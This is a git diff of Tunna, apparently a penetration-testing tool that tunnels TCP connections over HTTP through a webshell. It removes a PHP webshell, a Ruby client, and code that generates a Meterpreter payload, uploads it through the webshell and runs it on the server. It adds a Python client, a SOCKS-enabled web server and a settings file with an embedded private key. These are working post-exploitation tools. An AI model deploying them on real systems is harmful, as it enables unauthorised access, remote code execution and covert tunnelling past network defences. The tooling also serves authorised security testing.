="""-----------------------------#{rand}\r\nContent-Disposition: form-data; name=\"meterpreter\"; filename=\"#{filename}\"\r\nContent-Type: application/octet-stream\r\n\r\n#{exe}\r\n-----------------------------#{rand}--\r\n\r\n""" - - print_status( HTTPreq(@uri.path+"?file&upload", data) ) #Send packet / Print response - - #Put HTTP request headers back to previous value - @headers['Content-Type']='application/octet-stream' - - #Request server to Run the uploaded file - print_status( HTTPreq(@uri.path+"?file&run") ) - - #Rex::Ui::Text::IrbShell.new(binding).run #debug - - end - - def delete_file() - #Request server to delete uploaded file - sleep(2) - print_status( HTTPreq(@uri.path+"?file&delete") ) - end - - def generate_meterpreter(payload_name,remote_options={}) - #Reads port from options - print_status("Generating meterpreter (" + payload_name + ")") - remote_options = { #Meterpreter options - 'RHOST' => '127.0.0.1', - 'LPORT' => datastore['RPORT'], - 'ENCODER' => nil - }.merge(remote_options) - - #Code from msfpayload - - # Initialize the simplified framework instance. - framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], - 'DisableDatabase' => true - ) - - payload = framework.payloads.create(payload_name) - - $stdout.binmode - - enc = remote_options['ENCODER'] - - begin - buf = payload.generate_simple( - 'Format' => 'raw', - 'Options' => remote_options, - 'Encoder' => enc) - rescue - print_error("Error generating payload: #{$!}") - exit - end - - @arch = payload.arch - @plat = payload.platform.platforms - - exe = Msf::Util::EXE.to_executable(framework, @arch, @plat, buf) - - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_jar.pack - end - - if(exe) - return exe # returns generated executable - end - end -end - diff --git a/proxy.py b/proxy.py index acd0109..1eb45ec 100644 --- a/proxy.py +++ b/proxy.py @@ -1,150 +1,26 @@ +#!/usr/bin/python +# _____ +# |_ _| _ _ __ _ __ __ _ +# | || | | | '_ \| '_ \ / _` | +# | || |_| | | | | | | | (_| | +# |_| \__,_|_| |_|_| |_|\__,_| +# +#Tunna v1.1a, for HTTP tunneling TCP connections by Nikos Vassakis +#http://www.secforce.com / nikos.vassakis secforce.com +######################################################################## #Tested with Python 2.6.5 -import SocketServer -import urllib2 -import cookielib -import gzip, zlib, StringIO -from time import time, sleep -import threading, thread -import asyncore -import socket -import getopt, sys - -class MainServerSocket(asyncore.dispatcher): #Initialise socket thread - def __init__(self, localport): - asyncore.dispatcher.__init__(self) - self.create_socket(socket.AF_INET, socket.SOCK_STREAM) - self.bind(('',localport)) - self.listen(5) - def handle_accept(self): - newSocket, address = self.accept( ) #Accept connection - print "[+] Connected from", address - S=SecondaryServerSocket(newSocket) #Socket handling thread - S.init_ping_thread(start_p_thread) - -class SecondaryServerSocket(asyncore.dispatcher_with_send): - global url - #Mux: To ensure that only one HTTP request is made at a time - mutex_http_req = threading.Lock() - pings=0 - start_p_thread = False - - def init_ping_thread(self,start=False): #Initialise thread - self.pt = threading.Thread(name='ping', target=self.Pinging_Thread, args=()) - self.pt.setDaemon(1) #will exit if main exits - if start: - self.start_p_thread = True - self.pt.start() - - def Pinging_Thread(self): - print "[+] Starting Ping thread" - wait = True - while 1: #loop forever - if wait: sleep(ping_delay) #send ping to server interval - self.mutex_http_req.acquire() #Ensure that the other thread is not making a request at this time - try: - resp_data=HTTPreq(url,"") #Read response - if verbose: v_print(pings_n=1) - if resp_data: #If response had data write them to socket - if verbose: v_print(received_d_pt=len(resp_data)) - self.send(resp_data) #write to socket - resp_data="" #clear data - #not clearing flag in case more data avail. - wait = False #Dont wait: if there was data probably there are more - else: - wait = True - finally: - self.mutex_http_req.release() - print "[-] Pinging Thread Exited" - thread.interrupt_main() #Signal main thread -> exits - - def handle_read(self): - self.data = self.recv(bufferSize) #Read socket - if self.data: #If data send them over HTTP (post) - self.mutex_http_req.acquire() #Ensure that the other thread is not making a request at this time - - if self.start_p_thread == False: #Starts pinging thread (Will only run after first data is read from socket) - self.start_p_thread = True - self.pt.start() - - try: - if verbose: v_print(sent_d=len(self.data)) - resp_data=HTTPreq(url,self.data) #send data with a HTTP post - if resp_data: #If data is received back write them to socket - if verbose: v_print(received_d=len(resp_data)) - self.send(resp_data) #Write data to socket - resp_data="" #clear data - finally: - self.mutex_http_req.release() - - def handle_close(self): #Client disconnected - self.pt._Thread__stop() #Stop socket thread and exit - print "[-] Disconnected" - exit() - -def Threaded_request(url,cj): - #Sends connection options to the webshell - #In php this thread will stall to keep the connection alive (will not receive response) - #In other langs [OK] is received - opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) - global remote_ip - - print '[+] Spawning keep-alive thread' - if remote_ip: - resp = HTTPreq(url+"&port="+str(remote_port)+"&ip="+str(remote_ip)) - else: - resp = HTTPreq(url+"&port="+str(remote_port)) - if(resp != '[OK]'): #if ok is not received something went wrong (if nothing is received: it's a PHP webshell) - print resp - print '[-] Keep-alive thread exited' - thread.interrupt_main() - else: #If ok is received (non-php webshell): Thread not needed - print '[-] Keep-alive thread not required' - -def HTTPreq(url,data=""): - if data: #If there is data do a HTTP Post and send the data - f=opener.open(urllib2.Request(url,data,headers={'Content-Type': 'application/octet-stream'})) - else: #If there is no data do a HTTP Get - f=opener.open(url) - #If response is gzip encoded - if ('Content-Encoding' in f.info().keys() and f.info()['Content-Encoding']=='gzip') or \ - ('content-encoding' in f.info().keys() and f.info()['content-encoding']=='gzip'): - url_f = StringIO.StringIO(f.read()) - data = gzip.GzipFile(fileobj=url_f).read() - else: #response not encoded - data = f.read() - return data #Return response - -def setup_tunnel(): - #Initial Request to get the cookie - print opener.open(url).read() - sleep(1) - - #2nd request: send connection options to webshell - In php this thread will stall - t = threading.Thread(target=Threaded_request, args=(url,cj)) - t.setDaemon(1) #Daemonize the thread - t.start() #start the thread - #Add support for gzip - opener.addheaders = [('Accept-encoding', 'gzip')] - -def v_print(sent_d=0, received_d=0, received_d_pt=0,pings_n=0): #Verbose output for Debugging - global send - global received - global received_pt - global pings - - send+=sent_d - received+=received_d - received_pt+=received_d_pt - pings+=pings_n - - sys.stdout.write("\x1b[2J\x1b[H") #Unix only +from time import time, sleep, asctime +import threading, thread +import optparse +import sys +import urllib2 +from lib.TunnaClient import TunnaClient - sys.stdout.write( - "Received Data: %d (%d)\nReceived Data From Ping Thread: %d (%d) \nSent data: %d (%d) \nPings sent: %d\r\n" - % (received,received_d, received_pt,received_d_pt, send, sent_d, pings) ) - sys.stdout.flush() +from settings import Tunna_Defaults as Defaults +DEBUG=0 + def banner(): print " _____ " print " |_ _| _ _ __ _ __ __ _ " @@ -153,100 +29,97 @@ def banner(): print " |_| \\__,_|_| |_|_| |_|\\__,_|" print "" - print "Tunna v0.1, for HTTP tunneling TCP connections by Nikos Vassakis" + print "Tunna v1.1a, for HTTP tunneling TCP connections by Nikos Vassakis" print "http://www.secforce.com / nikos.vassakis secforce.com" print "###############################################################" print "" -def usage(): +def main(): banner() - print "Usage: python proxy.py -u -l -r [options]" - print " -u: url of the remote webshell" - print " -l: local port of webshprx" - print " -r: remote port of service for the webshell to connect to" - print " -q: webshprx pinging thread interval (default = 0.5)" - print " -a: address for remote webshell to connect to (default = 127.0.0.1)" - print " -b: HTTP request size (some webshels have limitations on the size)" - print " -s: start the pinging thread first - some services send data first (SSH)" - print " -v: Verbose (outputs packet size)" - print " -h: Help page" - print - - -#Defaults -interval = 0.2 -cj = cookielib.CookieJar() -opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) -verbose=False -ping_delay = 0.5 -send=0 -received=0 -received_pt=0 -pings=0 -localport=0 -remote_port=0 -remote_ip="127.0.0.1" -start_p_thread=False -bufferSize=8192 + parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) + + parser.set_usage("python proxy.py -u -l [options]") + + parser.add_option('-u','--url', help='url of the remote webshell', dest='url', action='store') + parser.add_option('-l','--lport', help='local listening port', dest='local_port', action='store', type='int') + #Verbosity + parser.add_option('-v','--verbose', help='Verbose (outputs packet size)', dest='verbose', action='store_true',default=Defaults['verbose']) + #Legacy options + legacyGroup = optparse.OptionGroup(parser, "No SOCKS Options","Options are ignored if SOCKS proxy is used") + legacyGroup.add_option('-n','--no-socks', help='Do not use Socks Proxy', dest='useSocks', action='store_false',default=Defaults['useSocks']) + legacyGroup.add_option('-r','--rport', help='remote port of service for the webshell to connect to', dest='remote_port', action='store', type='int',default=Defaults['remote_port']) + legacyGroup.add_option('-a','--addr', help='address for remote webshell to connect to (default = 127.0.0.1)', dest='remote_ip', action='store',default=Defaults['remote_ip']) + parser.add_option_group(legacyGroup) + #Proxy options + proxyGroup = optparse.OptionGroup(parser, "Upstream Proxy Options", "Tunnel connection through a local Proxy") + proxyGroup.add_option('-x','--up-proxy', help='Upstream proxy (http://proxyserver.com:3128)', dest='upProxy', action='store', default=Defaults['upProxy']) + proxyGroup.add_option('-A','--auth', help='Upstream proxy requires authentication', dest='upProxyAuth', action='store_true', default=Defaults['upProxyAuth']) + parser.add_option_group(proxyGroup) + #Advanced options + advancedGroup = optparse.OptionGroup(parser, "Advanced Options") + parser.add_option('-b','--buffer', help='HTTP request size (some webshels have limitations on the size)', dest='bufferSize', action='store', type='int', default=Defaults['bufferSize']) + advancedGroup.add_option('-q','--ping-interval', help='webshprx pinging thread interval (default = 0.5)', dest='ping_delay', action='store', type='float', default=Defaults['ping_delay']) + advancedGroup.add_option('-s','--start-ping', help='Start the pinging thread first - some services send data first (eg. SSH)', dest='start_p_thread', action='store_true', default=Defaults['start_p_thread']) + parser.add_option_group(advancedGroup) + + (args, opts) = parser.parse_args() + + options=dict(Defaults.items() + vars(args).items()) if args else Defaults #If missing options use Default + + if not options['local_port']: + parser.print_help() + parser.error("Missing local port") + if not options['url']: + parser.print_help() + parser.error("Missing URL") + if options['upProxyAuth']: #Upstream Proxy requires authentication + username=raw_input("Proxy Authentication\nUsername:") + from getpass import getpass + passwd=getpass("Password:") + + if not options['upProxy']: + parser.error("Missing Proxy URL") + else: + from urlparse import urlparse + u=urlparse(options['upProxy']) + prx="%s://%s:%s@%s" % (u.scheme,username,passwd,u.netloc) + + password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + password_mgr.add_password(None,prx,username,passwd) -def main(): - #Life's too short globals - global url - global localport - global remote_port - global verbose - global ping_delay - global interval - global remote_ip - global start_p_thread - global bufferSize + proxy_handler = urllib2.ProxyHandler({u.scheme:prx}) + proxy_basic_handler = urllib2.ProxyBasicAuthHandler(password_mgr) + proxy_digest_handler = urllib2.ProxyDigestAuthHandler(password_mgr) + options['upProxyAuth']=[proxy_handler,proxy_basic_handler,proxy_digest_handler] + try: - opts, args = getopt.getopt(sys.argv[1:], "vhsd:a:u:l:r:q:b:", ["help"]) - except getopt.GetoptError: - usage() - sys.exit(2) - try: - for o, a in opts: - if o in ("-h", "--help"): - usage() - sys.exit() - if o == "-u": - url=a - url+="?proxy" - if o == "-l": - localport=int(a) - if o == "-r": - remote_port=int(a) - if o == "-v": - verbose = True - if o == "-d": - interval=int(a) - if o == "-q": - ping_delay=int(a) - if o == "-a": - remote_ip=a - if o == "-b": - bufferSize=int(a) - if o == "-s": - start_p_thread=True - - except: - usage() - sys.exit(2) - if localport==0 or url=="" or remote_port==0: - usage() - sys.exit(2) - else: - try: - print "[+] Local Proxy listening at localhost:%d\n\t Remote service to connect to at remotehost:%d" % (localport,remote_port) - setup_tunnel() - # Activate the server; this will keep running until you - # interrupt the program with Ctrl-C - MainServerSocket(localport) - asyncore.loop(interval) - except (KeyboardInterrupt, SystemExit): - print HTTPreq(url+"&close") #Close handler thread on remote server + T=TunnaClient(options) + TunnaThread = threading.Thread(name='TunnaThread', target=T.run(), args=(options,)) + TunnaThread.start() + + while True: + sleep(10) + + except (KeyboardInterrupt, SystemExit) as e: + print '[!] Received Interrupt or Something Went Wrong' + if DEBUG > 0: + import traceback + print traceback.format_exc() + + if 'T' in locals(): + T.__del__() + if 'TunnaThread' in locals() and TunnaThread.isAlive(): TunnaThread._Thread__stop() + sys.exit() + except Exception as e: + if DEBUG > 0: + import traceback + print traceback.format_exc() + print "General Exception:",e + +def startTunna(options): + T=TunnaClient(options) + T.run() if __name__ == "__main__": main() diff --git a/proxy.rb b/proxy.rb deleted file mode 100644 index 557a9d3..0000000 --- a/proxy.rb +++ /dev/null @@ -1,306 +0,0 @@ - #Tested with ruby 1.9.2 -require "socket" -require "net/http" -require "net/https" -require 'thread' -require "uri" -require "zlib" -require 'optparse' - -Thread.abort_on_exception = true - -class HTTPwrapper - def initialize( url , remote_ip=nil , remote_port=0, verbose=0 ) - @uri = URI(url) - @url=@uri.path+"?proxy" - #init v_print variables - if verbose then - @send=0 - @received=0 - @received_pt=0 - @pings=0 - end - #Add http headers for cookie and encoding - @headers = { - 'Accept-encoding' => 'gzip', - 'Content-Type' => 'application/octet-stream' - } - #1st request: get cookie - data = HTTPreq(@url) - puts data #print response - #2nd request: send connection config - this thread stalls in PHP - @t = Thread.new { Threaded_request(remote_port,remote_ip)} - sleep(2) - end - - def HTTPreq(url, data="",timeout=300) #HTTP wrapper - http = Net::HTTP.new(@uri.host,@uri.port) - http.open_timeout = timeout #Set ruby response timeout - http.read_timeout = timeout - - if data then #If data make a HTTP Post request - resp, data = http.post(url, data, @headers) - else #If no data make a HTTP Get request - resp, data = http.get(url, @headers) - end - - #If cookie was not set: set it now - @headers['Cookie'] = resp.response['set-cookie'] if !@headers.has_key?('Cookie') - - #If response is gzip encoded: decode it - if resp.header[ 'Content-Encoding' ].eql?( 'gzip' ) then - f = StringIO.new( resp.body ) - url_f = Zlib::GzipReader.new( f ) - data = url_f.read() - else #Response is not encoded - data = resp.body - end - - if resp.code == '200' then - return data #return response - else #Something went wrong: print response and exit - puts "[-] Received status code " + resp.code - puts resp.body - exit - end - end - - def Threaded_request(remote_port, remote_ip=nil) - #Sends connection options to the webshell - #In php this thread will stall to keep the connection alive (will not receive response) - #In other langs [OK] is received - puts '[+] Spawning keep-alive thread' - if remote_ip then #sends webshell config [port and ip to connect to] - resp = HTTPreq(@url+"&port="+remote_port.to_s()+"&ip="+remote_ip.to_s(),nil,36000) #set timeout of request - else #Else use webshell defaults - resp = HTTPreq(@url+"&port="+remote_port.to_s(),nil,36000) - end - if(resp.strip != '[OK]') then #if ok is not received something went wrong (if nothing is received: it's a PHP webshell) - puts resp - Thread.main.raise "[-] Keep-alive thread exited" - else #If ok is received (non-php webshell): Thread not needed - puts '[-] Keep-alive thread not required' - end - end - - def v_print(options={}) #Verbose output for Debugging - options = {:sent_d => 0, :received_d => 0, :received_d_pt => 0, :pings_n => 0}.merge(options) - @send+=options[:sent_d] - @received+=options[:received_d] - @received_pt+=options[:received_d_pt] - @pings+=options[:pings_n] - - $stdout.sync = true - $stdout.write("\x1b[2J\x1b[H") #Unix only - - print "Received Data: %d (%d)\nReceived Data From Ping Thread: %d (%d) \nSent data: %d (%d) \nPings sent: %d\r\n" % [@received, options[:received_d], @received_pt,options[:received_d_pt], @send, options[:sent_d], @pings] - $stdout.flush() - end - - def clean_up #On exit - Thread.kill(@t) #Kill thread_request thread - end -end #wrapper - -class SocketServer - def initialize( options={}) - #init required variables - @url = options[:url]+"?proxy" - local_port = options[:local_port] - remote_port = options[:remote_port] - @bufferSize = options[:bufferSize] - #init local socket - @descriptors = Array::new - @serverSocket = TCPServer.new( "", local_port ) - @serverSocket.setsockopt(Socket::SOL_SOCKET,Socket::SO_REUSEADDR, true ) - #init options - remote_ip = options[:remote_ip] - @ping_delay = options[:ping_delay] - @start_p_thread = options[:start_p_thread] - @verbose = options[:verbose] - #init_tunnel - @http=HTTPwrapper.new(@url,remote_ip,remote_port, @verbose) - #Mux: To ensure that only one HTTP request is made at a time - @mutex = Mutex.new - @mutex_http_req = Mutex.new - end # initialize - - def init_ping_thread(start=0) - @pt = Thread.new { Pinging_Thread(@ping_delay); } - if start then - @pt.run - end - end - - def Pinging_Thread(interval) - sleep - puts "[+] Starting Ping thread" - wait=true - while 1 #loop forever - sleep(interval) if wait == true #send ping to server interval - @mutex_http_req.synchronize do #Ensure that the other thread is not making a request at this time - resp_data=@http.HTTPreq(@url,nil) #Read response - @http.v_print({:pings_n => 1}) if @verbose - if resp_data != "" then #If response had data write them to socket - @http.v_print({:received_d_pt => resp_data.length}) if @verbose - @sock.write(resp_data) #write to socket - resp_data="" #clear data - #not clearing flag in case more data avail. - wait=false #Dont wait: if there was data probably there are more - else - wait=true - end - end - end - Thread.main.raise "[-] Pinging Thread Exited" - end #pinging thread - - def run - data=nil - while 1 - if (@sock = @serverSocket.accept) then - accept_new_connection # Will block until: receives a connect to the server (listening) socket - while 1 - if @sock.eof? or @sock.closed? then # If client disconnects: raise exception -> will exit - Thread.main.raise("[-] Client disconnected %s:%s\n" % [@sock.peeraddr[2], @sock.peeraddr[1]]) - else - data = @sock.read_nonblock(@bufferSize) #Read Data from socket - if data != "" then #If there was data send them over HTTP (post) - @mutex_http_req.synchronize do #Ensure that the other thread is not making a request at this time - - if @start_p_thread == false #Starts pinging thread (Will only run after first data is read from socket) - @pt.run - @start_p_thread = true - end - - @http.v_print({:sent_d => data.length}) if @verbose - resp_data=@http.HTTPreq(@url,data) #send data with a HTTP post - if resp_data != "" then #If data is received back write them to socket - @http.v_print({:received_d => resp_data.length}) if @verbose - @sock.write(resp_data) #Write data to socket - resp_data="" #clear data - end - end - end - end - end - end - end - end #run - - def clean_up - #Kills threads & send close command to remote server - @sock.close if defined?(@sock) #close socket - Thread.kill(@pt) if defined?(@pt) #Kill pinging thread - puts @http.HTTPreq(@url+"&close").strip() #Send close command to webshell - @http.clean_up #Call class clean_up - end - - private - - def accept_new_connection #Client connected to socket - printf("[+] Connected from %s:%s\n", @sock.peeraddr[2], @sock.peeraddr[1]) - init_ping_thread(@start_p_thread) #Spawn pinging thread - will sleep/start execution depending on bool var start_p_thread - end # accept_new_connection -end #server - - -def usage - puts " _____ " - puts " |_ _| _ _ __ _ __ __ _ " - puts " | || | | | '_ \\| '_ \\ / _` |" - puts " | || |_| | | | | | | | (_| |" - puts " |_| \\__,_|_| |_|_| |_|\\__,_|" - puts "" - - puts "Tunna v0.1, for HTTP tunneling TCP connections by Nikos Vassakis" - puts "http://www.secforce.com / nikos.vassakis secforce.com" - puts "###############################################################" - puts "" -end - -def get_arguments - #props: http://stackoverflow.com/questions/1541294/how-do-you-specify-a-required-switch-not-argument-with-ruby-optionparser - usage - options = {} - optparse = OptionParser.new do |opts| - opts.banner = "Usage: ruby proxy.rb -u -l -r [options]" - - opts.on('-u', '--url URL', 'url of the remote webshell') do |url| - options[:url] = url - end - - opts.on('-l', '--lport PORT', Integer, 'local port of webshprx') do |lport| - options[:local_port] = lport - end - - opts.on('-r', '--rport PORT', Integer, 'remote port of service for the webshell to connect to') do |rport| - options[:remote_port] = rport - end - - opts.on('-q', '--ping-interval NUM', Float, 'webshprx pinging thread interval (default = 0.5)') do |interval| - options[:ping_delay] = interval - end - - opts.on('-a', '--addr IP', 'address for remote webshell to connect to (default = 127.0.0.1)') do |addr| - options[:remote_ip] = addr - end - - opts.on('-b', '--buffer BUFF', Integer, 'HTTP request size (some webshels have limitations on the size)') do |bufferSize| - options[:bufferSize] = bufferSize - end - - opts.on('-s', '--start-ping', 'start the pinging thread first - some services send data first (SSH)') do - options[:start_p_thread] = true - end - - opts.on('-v', '--verbose', 'verbose output') do - options[:verbose] = true - end - - opts.on('-h', '--help', 'Display this screen') do - usage - puts opts - exit - end - end - - begin - optparse.parse! - mandatory = [:url, :local_port, :remote_port] #required switches - missing = mandatory.select{ |param| options[param].nil? } - if not missing.empty? - puts "Missing options: #{missing.join(', ')}" - puts optparse - exit - end - return options - rescue OptionParser::InvalidOption, OptionParser::MissingArgument - puts $!.to_s # Friendly output when parsing fails - puts optparse - exit - end -end - -begin - -defaults={ - :remote_ip => "127.0.0.1", - :ping_delay => 0.5, - :start_p_thread => false, - :verbose => false, - :bufferSize => 8192 -} -options = defaults.merge(get_arguments()) - -puts "[+] Local Proxy listening at localhost:%d\n\t Remote service to connect to %s -> %s:%d" % [options[:local_port],options[:url],options[:remote_ip],options[:remote_port]] - -Server = SocketServer.new( options ) -Server.run() - -rescue Exception => e - puts "#{e.message}" - if defined?(Server) then - Server.clean_up - end -end diff --git a/settings.py b/settings.py new file mode 100644 index 0000000..ddbc1af --- /dev/null +++ b/settings.py @@ -0,0 +1,74 @@ +Tunna_Defaults ={ + #Default Tunna Settings + 'bufferSize':1024*8, # Size of Socket Buffer + 'verbose':False, # Verbose Print + 'ping_delay':0.5, # Delay between requests + 'interval':0.2, + 'bind':'0.0.0.0', # Change to localhost for binding Tunna to localport + 'useSocks':True, # Will use Socks Proxy if available + + # Default Remote Settings + 'local_port':0, + 'remote_port':0, + 'remote_ip':"127.0.0.1", + 'start_p_thread':False, # Start quering the socket first (eg. for SSH) + + #Set Up a Local Proxy + 'upProxy':None, #autodetect + 'upProxyAuth':None, + + #! Not to be changed + 'ProxyFileWin':'lib/socks4aServer.exe', + 'ProxyFilePy':'lib/socks4aServer.py' +} + +Webserver_Defaults ={ + #Default WebServer Settings + 'hostname':"0.0.0.0", #Change to localhost for local connection + 'webServerPort':8000, + 'ssl':False, + + # For Debug purposes + 'WDEBUG':2, + 'USEFILE':False, + + #SSL Certificate + 'certificate':''' +-----BEGIN PRIVATE KEY----- +MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAOKdz+7Zm+Fjq6qw +4rwDvRl7XLwR2CNclfXlH3Ff8eLEZDpiEqJs47zKHAYBF5aEevIRGYMqbsErUYCC +Gu504KxZOgGoGmd8r3oDbqJp0pPovMbVPZOV0Ms+Q1fAHHfBN5+lLm3eovhVQ54G +4ADHjU2P8BJ21VEkwBf5y35vNAkLAgMBAAECgYEAq9O1AgoF49RLKdWNVboP++5J +1mBBXi6plhTwzmpNYgA/bvVF49pko5UrwnG5jOtOvZSxn37hE57g4WvFN+FvKFF2 +PFO3X4Shg4Rn84ZejoOhGs2KeGodZ/UbeU1qKm6N4kvLUPLFyyCnT875MbfXUozh +Py+iaRzntvfBrSokyiECQQD+7EUcpeecMfIrRXVJxpak0HbscxvwfWAcKkt3a500 +Q7w8jkWeLyrb2jmoTVnsp89kzR2CyZkuUOWQHrpSmR4FAkEA45Ls5jBgfhY/doHe +b5l41XjMN6WnPqxeMx9CRQFDRXcw/DRGrW2m5/SRptYS+W46aW6v39J3+0sYHv3z +4SonzwJAR8IackYBPGaS1LtomKveG+bSkxyT8M5aD5OYSrVwOxYWFrW1wyFj3x8+ +u7GKbqOOLcHPXNGC3RbIiBkeOcIAQQJACzETk3J3nFvNvS8/2C8tARqSuH3eDrf9 +XfhAkxIv07+72ftcKnVFCw09CH5oqnmgR8UYwyIfom0b/5IvpzgigwJBAJSiZXBJ +LsaVAOBetNmymX/EMoQEqNZCqi2ajVMwQEkXEnAOIz7sj1GGBdm4UMy+dCy4hR/V +EY6wtgLRqgpaUN0= +-----END PRIVATE KEY----- +-----BEGIN CERTIFICATE----- +MIICMjCCAZugAwIBAgIJAKKavRy2ij+ZMA0GCSqGSIb3DQEBBQUAMDIxCzAJBgNV +BAYTAkdCMRMwEQYDVQQIDApTb21lLVN0YXRlMQ4wDAYDVQQKDAVUdW5uYTAeFw0x +NDA3MDMxMzQ2MzNaFw0xNTA3MDMxMzQ2MzNaMDIxCzAJBgNVBAYTAkdCMRMwEQYD +VQQIDApTb21lLVN0YXRlMQ4wDAYDVQQKDAVUdW5uYTCBnzANBgkqhkiG9w0BAQEF +AAOBjQAwgYkCgYEA4p3P7tmb4WOrqrDivAO9GXtcvBHYI1yV9eUfcV/x4sRkOmIS +omzjvMocBgEXloR68hEZgypuwStRgIIa7nTgrFk6AagaZ3yvegNuomnSk+i8xtU9 +k5XQyz5DV8Acd8E3n6Uubd6i+FVDngbgAMeNTY/wEnbVUSTAF/nLfm80CQsCAwEA +AaNQME4wHQYDVR0OBBYEFNlKP/pXnWoVqmxDwmSFSjTBbDnFMB8GA1UdIwQYMBaA +FNlKP/pXnWoVqmxDwmSFSjTBbDnFMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF +BQADgYEAM4CnP9QXKHljQ/gCble052+LfSwPWryRjwxTy3qlEpmSKb4UT6GlqABV +Cm2clM978TeCgsvOqsYya5iza/Gp8miKCmQ6WWxxiSm/J7QVHcaWIK9hqoPC6AXa +I9iUqOJ9Esv2NuHYxG4XWtYfyttktIJcuAhQ/3IfZZJ9SKZTIPs= +-----END CERTIFICATE----- + ''' +} + +SocksServer_Defaults={ + 'buffersize':1024*8, + 'backlog':10 +} + diff --git a/tunna.php b/tunna.php deleted file mode 100644 index 47d3b59..0000000 --- a/tunna.php +++ /dev/null @@ -1,147 +0,0 @@ - secforce.com -// -if(!empty($_GET)){ - if(isset($_GET["proxy"])){ //if url parameter proxy is set - class messenger{ //handles the communication between webserver and socket - public $address = ""; - public $port; - public $socket; - public $met_data = ""; - public $handler_data = ""; - - function __construct($port,$ip){ //Initialises socket values - if ($port != ""){ - $this->port=$port; - } - else{ - $this->port=4444; - } - if ($ip != ""){ - $this->address=$ip; - } - else{ - $this->address='127.0.0.1'; - } - $this->connect_to_server(); - $this->run_loop(); - } - - public function __destruct() //Close the socket - { - socket_close($this->socket); - } - - function connect_to_server() //Create and commect to socket - { - /* Create a TCP/IP socket. */ - $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - if ($this->socket === false) { exit ("[Server] Unable to create socket"); } - - $result = @socket_connect($this->socket, $this->address, $this->port); - - if ($result === false) { exit ("[Server] Unable to connect to socket"); } - - socket_set_nonblock($this->socket); //Socket in non-blocking mode because of the consecutive HTTP requests - - return $this->socket; - } - /* - * Received data is written on the SESSION['handler_data'] - * There's a loop function (run_loop) that checks the SESSION variable for data and writes them to the socket - * If there's data to be read from the socket the loop function puts them at the SESSION variable met_data - * - * At every request if there is data to be sent back they get send as a response - * - */ - public function update_session_data() - { - @session_start(); - - $_SESSION['met_data'] .= $this->met_data; - $this->handler_data .= $_SESSION['handler_data']; - $_SESSION['handler_data'] = ""; - session_write_close(); - $this->met_data=""; - } - - function run_loop(){ //This will stall the thread / request - $i=0; - while($_SESSION['running'] != -1){ - #read from local socket and put on session variable - while ($out = socket_read($this->socket, 8192)) { - if($out === false){ exit("[Server] Unable to read from local socket"); } - $this->met_data .= $out; - } - #If data on SESSION variable write data to local socket - if ($this->handler_data != ""){ - $in=socket_write($this->socket, $this->handler_data, strlen($this->handler_data)); - if($in === false){ exit("[Server] Unable to write to local socket"); } - $this->handler_data = ""; - } - $this->update_session_data(); - if (!stristr(PHP_OS, "linux")){sleep(1);} //added to work with apache/IIS on windows otherwise the consecutive reads DoS the socket - } - } - } - //Report all errors - error_reporting(E_ALL); - ini_set( 'display_errors','1'); - set_time_limit(0); //Time limit for request set to infinate for the loop function - $ip=""; - $port=""; - - if(session_start() === false){exit("[Server] Couldnt Start Session");} - - if(isset($_GET["close"])){ //if url parameter close is received the connection is closed - $_SESSION['running'] = -1; - echo "[Server] Closing the connection and killing the handler thread"; - exit(); - } - if(isset($_GET["port"])){ //if port is specified connects to that port - $port=$_GET["port"]; - } - if(isset($_GET["ip"])){ //if ip is specified connects to that ip - $ip=$_GET["ip"]; - } - - if (!isset($_SESSION['running'])) { //initiate the session - $_SESSION['running'] = 0; - $_SESSION['met_data'] = ""; - $_SESSION['handler_data'] = ""; - //Closing session_write otherwise next attempt to write to session will block - session_write_close(); - echo "[Server] All good to go, ensure the listener is working ;-)"; - } - else{ - if ($_SESSION['running'] == 0){ - $_SESSION['running'] = 1; - session_write_close(); - /* - * This will create a stalling thread for the loop function - * that reads and writes data from the socket to the response - * and from the request body to the socket - * - */ - $mymessenger = new messenger($port,$ip); - } - else{ - /* If session and socket are initialised - * Read data from request body and update the SESSION var - * - * If data is on the SESSION var send them with the response - */ - header('Content-Type: application/octet-stream'); - #write to buffer for server - $_SESSION['handler_data'] .= file_get_contents("compress.zlib://php://input"); - #read buffer for client - echo $_SESSION['met_data']; - $_SESSION['met_data'] = ""; //clear variable - session_write_close(); - } - } - } -} -?> diff --git a/webserver.py b/webserver.py new file mode 100755 index 0000000..3d3b8fb --- /dev/null +++ b/webserver.py @@ -0,0 +1,391 @@ +#!/usr/bin/python +# _______ __ __ _ _____ +#|__ __| \ \ / / | | / ____| +# | |_ _ _ __ _ __ __ \ \ /\ / /__| |__| (___ ___ _ ____ _____ _ __ +# | | | | | '_ \| '_ \ / _` \ \/ \/ / _ \ '_ \\___ \ / _ \ '__\ \ / / _ \ '__| +# | | |_| | | | | | | | (_| |\ /\ / __/ |_) |___) | __/ | \ V / __/ | +# |_|\__,_|_| |_|_| |_|\__,_| \/ \/ \___|_.__/_____/ \___|_| \_/ \___|_| +# +#TunnaWebServer v1.1a, for HTTP tunneling TCP connections by Nikos Vassakis +#http://www.secforce.com / nikos.vassakis secforce.com +################################################################################# +#Tested with Python 2.6.5 + +import time +import BaseHTTPServer +from urlparse import urlparse, parse_qs, parse_qsl +import random +import Cookie +import socket +import select +import sys,os +import time +import getopt, struct +import threading, thread +import ssl +import tempfile +import SocketServer + +from lib.SocksServer import SocksServer + +from settings import Webserver_Defaults as Defaults + +class MultiThreadedHTTPServer(SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer): + pass + +class WebServer(): + def __init__(self, options): + self.options=options + hostname=options['hostname'] + portNumber=options['webServerPort'] + + server_class = MultiThreadedHTTPServer #Multithreaded webserver + #server_class = BaseHTTPServer.HTTPServer #For non-threaded webserver + wHandler = self.WebHandler + httpd = server_class((hostname, portNumber), wHandler) + self.hostname = hostname + + sessions={} + wHandler.sessions=sessions + wHandler.debug=options['WDEBUG'] + wHandler.usefile=options['USEFILE'] + + #wHandler.auth + try: + if options['ssl']: #SSL server + self.certFile = 